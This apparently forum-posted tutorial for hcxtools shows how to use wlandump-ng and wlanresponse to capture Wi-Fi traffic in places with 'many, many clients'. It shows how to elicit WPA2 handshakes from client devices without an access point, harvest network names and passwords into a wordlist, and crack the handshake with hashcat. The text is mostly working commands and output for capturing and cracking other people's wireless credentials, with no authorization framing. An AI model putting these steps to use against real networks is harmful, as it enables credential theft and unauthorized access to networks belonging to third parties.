hcxtools - solution for capturing wlan traffic and conversion to hashcat formats
basic tutorial about the features to capture passwords from wlantraffic

Choose a place where you do expect to receive many, many clients.
run wlandump-ng or wlanresponse for a while (one or more hours) using this options:

on a notebook
wlandump-ng -i <mywlandevice> -o test.cap -c 1 -t 4 -d 20 -D 2 -m 512 -b -r -l -L -s 20

on a raspberry
wlandump-ng -i <mywlandevice> -o test.cap -c 1 -t 4 -d 20 -D 2 -m 128 -b -r -l -L -s 0
wlanresponse -i <mywlandevice> -o test.cap -t 3 -b -l -L

mydevice is your WLAN device (it must be running allready in monitor mode on a real device - do not use virtual devices like mon0).

Please download and use the attached test.cap for this tutorial
.zip   test.cap.zip (Size: 739 bytes / Downloads: 38)
Extract and copy the cap to a folder and open a terminal inside.

Let's check the cap:

$ wlancapinfo -i test.cap
input file.......: test.cap
magic file number: 0xa1b2c3d4 (cap/pcap)
major version....: 2
minor version....: 4
data link type...: 105 (DLT_IEEE802_11) [http://www.tcpdump.org/linktypes.html]
packets inside...: 6
last pcap error..: flawless

The cap looks like a normal cap, but you should convert it only by using wlancap2hcx, because there are informations inside, other tools are not able to strip.

Let's convert the cap:

$ wlancap2hcx -o test.hccapx -e wordlist test.cap
start reading from test.cap
6 packets processed (6 wlan, 0 lan, 0 loopback)
found 1 wpa2 AES Cipher, HMAC-SHA1
found 1 valid wpa handshake (by wlandump-ng/wlanresponse)

You can see that there's a valid WPA2 handshakles inside and that
wlandump-ng/wlanresponse initiates the authentication with the client.
No accesspint captured - there is no need to capture an accesspoint to get the data!
We use the -e option to save networknames and passwords to a file (it's a good idea to use this option everytime you run wlancap2hcx).

$ ls
test.hccapx test.cap  wordlist

now sort our wordlist
$ sort wordlist | uniq > wordlistsort
you need to do this, because there are many dupes inside.

$ ls
test.hccapx test.cap  wordlist wordlistsort

now run hashcat
$ hashcat -m 2500 --potfile-path=hc2500.pot test.hccapx wordlistsort

HWMon.Dev.#1.....: Temp: 42c Fan: 28% Util:100% Core:1303MHz Mem:3004MHz Bus:8

Take a look into the potfile and you can imagine what's going on.
You cracked the hash, using the captured password from wlantraffic.

It's a good Idea to add/copy/cat the wordlist to your wordlist(s) - everytime you run wlancap2hcx on new cap files.
